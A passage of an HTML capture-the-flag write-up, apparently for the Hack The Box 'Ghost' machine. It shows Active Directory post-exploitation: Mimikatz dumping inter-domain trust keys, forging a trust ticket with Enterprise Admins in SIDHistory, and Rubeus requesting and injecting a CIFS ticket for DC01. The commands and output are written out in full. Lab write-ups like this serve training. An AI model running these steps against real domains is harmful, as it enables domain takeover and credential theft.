/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">nt authority\system</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>However, no root flag was found. It’s not quite done yet.</p>

<hr />
<h2 id="post-exploitation-on-primary">Post-Exploitation on <code class="language-plaintext highlighter-rouge">PRIMARY</code>:</h2>
<h3 id="network-layout">Network Layout:</h3>

<p><code class="language-plaintext highlighter-rouge">PRIMARY</code> is located in an internal network, with an IP address of 10.0.0.10:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">ipconfig</span>

<span class="win-output">Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 10.0.0.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.0.254</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>It’s default gateway is 10.0.0.254, which is the internal IP address of <code class="language-plaintext highlighter-rouge">DC01</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC01</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\justin.bradley\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">ipconfig</span>

<span class="win-output">Windows IP Configuration


Ethernet adapter vEthernet (internal):

   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.0.0.254
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv4 Address. . . . . . . . . . . : 10.129.231.105
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 10.129.0.1</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>A default gateway is the IP address a system use to send traffic destined for networks outside its own subnet. This means that all outbound traffic from <code class="language-plaintext highlighter-rouge">PRIMARY</code> to external networks are routed through <code class="language-plaintext highlighter-rouge">DC01</code>, which acts as a bridge between them.</p>

<p>Also, <code class="language-plaintext highlighter-rouge">PRIMARY</code> does not have an external interface, so it’s not directly reachable from the outside.</p>

<h3 id="domain-trusts">Domain Trusts:</h3>

<p>I’ll run BloodHound again, as the internal network wasn’t accessible during the initial scan. <code class="language-plaintext highlighter-rouge">PRIMARY</code> is the domain controller of <code class="language-plaintext highlighter-rouge">corp.ghost.htb</code>:</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/bh_primary_dc.png?raw=true" alt="" /></p>

<p>There’s also bidirectional trust between <code class="language-plaintext highlighter-rouge">ghost.htb</code> and <code class="language-plaintext highlighter-rouge">corp.ghost.htb</code>:</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/bh_trust.png?raw=true" alt="" /></p>

<p>A <a href="https://learn.microsoft.com/en-us/entra/identity/domain-services/concepts-forest-trust">domain trust</a> is a relationship established between two domains that allows users to share resources between them. In a bidirectional trust relationship, both domains trust each other, and authentication requests can be passed between them in either directions. Since I already have control of the DC of a child domain trusted by <code class="language-plaintext highlighter-rouge">ghost.htb</code>, I can leverage the trust relationship to impersonate users or escalate privileges across domains.</p>

<hr />
<h2 id="escalation-to-dc01">Escalation to <code class="language-plaintext highlighter-rouge">DC01</code>:</h2>
<h3 id="forging-trust-ticket">Forging Trust Ticket:</h3>

<p>When you think about it, Kerberos conceptually functions in a similar way to SAML authentication. It acts as an identity provider within the domain, and issues tickets — specifically TGS — that prove a user’s identity to other Windows services. When accessing services in a foreign trusted domain, the KDC issues a special interdomain trust ticket, which is presented to the foreign domain’s KDC who then issues the TGS for the requested service.</p>

<p>As the <code class="language-plaintext highlighter-rouge">SYSTEM</code> user on <code class="language-plaintext highlighter-rouge">PRIMARY</code>, I effectively have full control of <code class="language-plaintext highlighter-rouge">corp.ghost.htb</code>’s KDC, and can forge interdomain trust tickets for <code class="language-plaintext highlighter-rouge">DC01</code>, much like a Golden SAML attack.</p>

<p><a href="https://medium.com/r3d-buck3t/breaking-domain-trusts-with-forged-trust-tickets-5f03fb71cd72">This blog post</a> has an excellent example of such attack. To start, I’ll use Mimikatz’s <code class="language-plaintext highlighter-rouge">lsadump::trust</code> module to dump out trust keys and a bunch of information about the domain trust relationships.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\mimikatz.exe</span>

<span class="win-output">&nbsp;
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       &gt; https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        &gt; https://pingcastle.com / https://mysmartlogon.com ***/</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="custom-prompt" style="color: lightgreen; font-weight: bold;"><span class="custom-path">mimikatz #</span></span> <span class="custom-cmd">lsadump::trust /patch</span>

<span class="custom-output">Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)

Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
 [  In ] CORP.GHOST.HTB -&gt; GHOST.HTB
    * 5/25/2025 2:12:47 AM - CLEAR   - 7c dc 82 26 65 97 cd 7e fe 93 e3 06 74 73 ee d1 1e e7 99 7b 7b 25 64 42 0b d8 9d 55 5a a6 7b 40 52 b3 9e 07 fc e9 89 fb 88 26 fb aa 10 ca 36 ef db b6 59 1d 15 f0 35 2e 63 f4 a1 d5 f0 33 e4 0d 55 16 13 76 f7 e6 a8 05 29 c1 6f 03 13 f8 6e 6b f7 39 5a fb 8d 41 53 8e f2 a2 24 d3 7f 70 aa 41 8d f7 27 f3 8c dc a1 36 3b b6 ca 8d dc bb 8f 2e 53 49 a5 58 65 04 63 d7 ca d2 4b a1 69 5b b1 59 21 5c 09 98 f1 c2 7e a3 4a a7 17 cf 67 6a 90 97 37 ef 9b 82 8c 7d f1 83 c0 8a 41 f7 a8 00 ad 94 15 a3 a1 00 24 1a 76 d8 12 30 58 f8 72 03 f2 20 20 6a af a5 1d 20 78 d2 11 4f a1 c6 bb 88 76 a8 fd e3 30 a6 ae 71 58 dc 1f 48 97 08 21 c2 c2 ab e4 24 ff 1b 30 70 5f 5b e2 41 99 58 4d aa 47 12 69 d3 76 e3 b6 a2 a1 a6 34 9a 62 3a ac 90 2b 4d 
	* aes256_hmac       86dab0fc63f7a3f6ab216f47cc7613a2833bf55ff8db7ec7df037922c809a097
	* aes128_hmac       b05a74d12ab15951f790ed34e89150cc
	* rc4_hmac_nt       053fc16b43d14e3a3ade43c1f2c259f6

 [ Out ] GHOST.HTB -&gt; CORP.GHOST.HTB
    * 5/25/2025 2:24:45 AM - CLEAR   - 66 51 47 42 b8 f0 79 e8 7d b0 d3 fd 13 44 06 4a 82 3b e5 19 ba f1 2e 12 c4 3c 72 da 3d b8 74 0f 09 51 92 11 7e e8 f0 95 04 2d a8 da 20 c8 aa d9 0e 8f ad 68 67 f9 52 ed f9 ce 31 8e 33 31 a5 5d 9a bf 4b de 5a f6 63 0c 42 6e 51 bd d2 a9 d5 80 08 8c d4 96 f6 9d af 45 a1 fa 39 dc 47 88 08 41 8f fb 95 ae df d6 d7 6f a3 d6 6b 9f 0f a5 e9 79 3d 9e 35 d6 5d 28 02 59 b0 26 75 96 f2 92 d5 83 d2 74 38 5f fd 04 c6 be f8 54 ed 76 49 d0 6a d8 dc f1 f7 33 79 17 3a fc 1c 22 05 df 65 21 60 82 08 f0 1c 26 21 1a c1 7a 71 d8 fa cb e0 eb b1 86 d1 fb ae 6e 8e 3c 2d 1e 7f f4 20 c5 22 6a 24 cc a3 8d c3 b4 27 9c b7 c0 60 2b a6 2f 6e 2b 12 a0 5f b0 0b 33 19 5b 6f 33 19 cf 49 3b b0 91 4e 52 43 58 40 dd da 97 cd 65 b0 1a f9 bc ba f6 50 ee 
	* aes256_hmac       f8fae023a945f704ae83693760f20b5003dd0d63935887be51adb2d9ca730577
	* aes128_hmac       1498440b109c177363f92398da939a88
	* rc4_hmac_nt       1e494086a5706e92eeb5b037e1a9226d

 [ In-1] CORP.GHOST.HTB -&gt; GHOST.HTB
    * 7/22/2024 9:21:26 AM - CLEAR   - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f 
	* aes256_hmac       de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe
	* aes128_hmac       b55ca148bc95f95b8cb72f67661e1a08
	* rc4_hmac_nt       0b0124f5d6c07ad530d6bf6a6404fdaa

 [Out-1] GHOST.HTB -&gt; CORP.GHOST.HTB
    * 5/25/2025 2:24:45 AM - CLEAR   - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b 
	* aes256_hmac       b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d
	* aes128_hmac       81f4c2f21a640eed29861d71a619b4bb
	* rc4_hmac_nt       ea4e9954536eb29091fc96bbce83be23</span></pre>
  </div>
</div>

<p>There’s 4 trust relationships listed, but the first entry is the important one, as it represents the incoming trust from <code class="language-plaintext highlighter-rouge">ghost.htb</code> to <code class="language-plaintext highlighter-rouge">corp.ghost.htb</code>. Also, <code class="language-plaintext highlighter-rouge">rc4_hmac_nt</code> is the trust key that’s used to encrypt the ticket.</p>

<p>I’ll use the information above to forge the trust ticket. The Mimikatz command is very similar to the one used for a <a href="https://www.netwrix.com/how_golden_ticket_attack_works.html">Golden Ticket attack</a>, except I’m using the trust key instead of <code class="language-plaintext highlighter-rouge">krbtgt</code>’s hash.</p>

<p>The <code class="language-plaintext highlighter-rouge">/sids</code> parameter specifies additional SIDs to include in the user’s <a href="https://www.thehacker.recipes/ad/persistence/sid-history">SIDHistory</a> attribute. This attribute is typically used for supporting domain migrations. When an object is moved to a new domain, it gets assigned a new SID, but its original SIDs are preserved in <code class="language-plaintext highlighter-rouge">SIDHistory</code> to ensure it won’t lose access to resources in the original domain. Here, I’ve added the SID of <code class="language-plaintext highlighter-rouge">ghost.htb</code>’s Enterprise Admins group to <code class="language-plaintext highlighter-rouge">SIDHistory</code>. Because of the trust relationship between the domains, the <code class="language-plaintext highlighter-rouge">ghost.htb</code> KDC would blindly trust the SID history, effectively treating the user as if they were a former member of the Enterprise Admins group, and granting them administrative access in the domain.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: lightgreen; font-weight: bold;"><span class="custom-path">mimikatz #</span></span> <span class="custom-cmd">kerberos::golden /user:Administrator /domain:corp.ghost.htb /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:053fc16b43d14e3a3ade43c1f2c259f6 /service:krbtgt /target:ghost.htb /ticket:ticket.kirbi</span>

<span class="custom-output">User      : Administrator
Domain    : corp.ghost.htb (CORP)
SID       : S-1-5-21-2034262909-2733679486-179904498
User Id   : 500
Groups Id : *513 512 520 518 519 
Extra SIDs: S-1-5-21-4084500788-938703357-3654145966-519 ; 
ServiceKey: 053fc16b43d14e3a3ade43c1f2c259f6 - rc4_hmac_nt      
Service   : krbtgt
Target    : ghost.htb
Lifetime  : 5/25/2025 4:44:52 AM ; 5/23/2035 4:44:52 AM ; 5/23/2035 4:44:52 AM
-&gt; Ticket : ticket.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !</span></pre>
  </div>
</div>

<h3 id="requesting-tgs">Requesting TGS:</h3>

<p>With the trust ticket obtained, I’ll use <a href="https://github.com/ghostpack/rubeus">Rubeus</a> to request a TGS for the CIFS service from <code class="language-plaintext highlighter-rouge">DC01</code>, which grants filesystem access:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/dc01.ghost.htb /dc:dc01.ghost.htb /nowrap /ptt</span>

<span class="win-output">&nbsp;
   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/dc01.ghost.htb'
[*] Using domain controller: dc01.ghost.htb (10.129.231.105)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

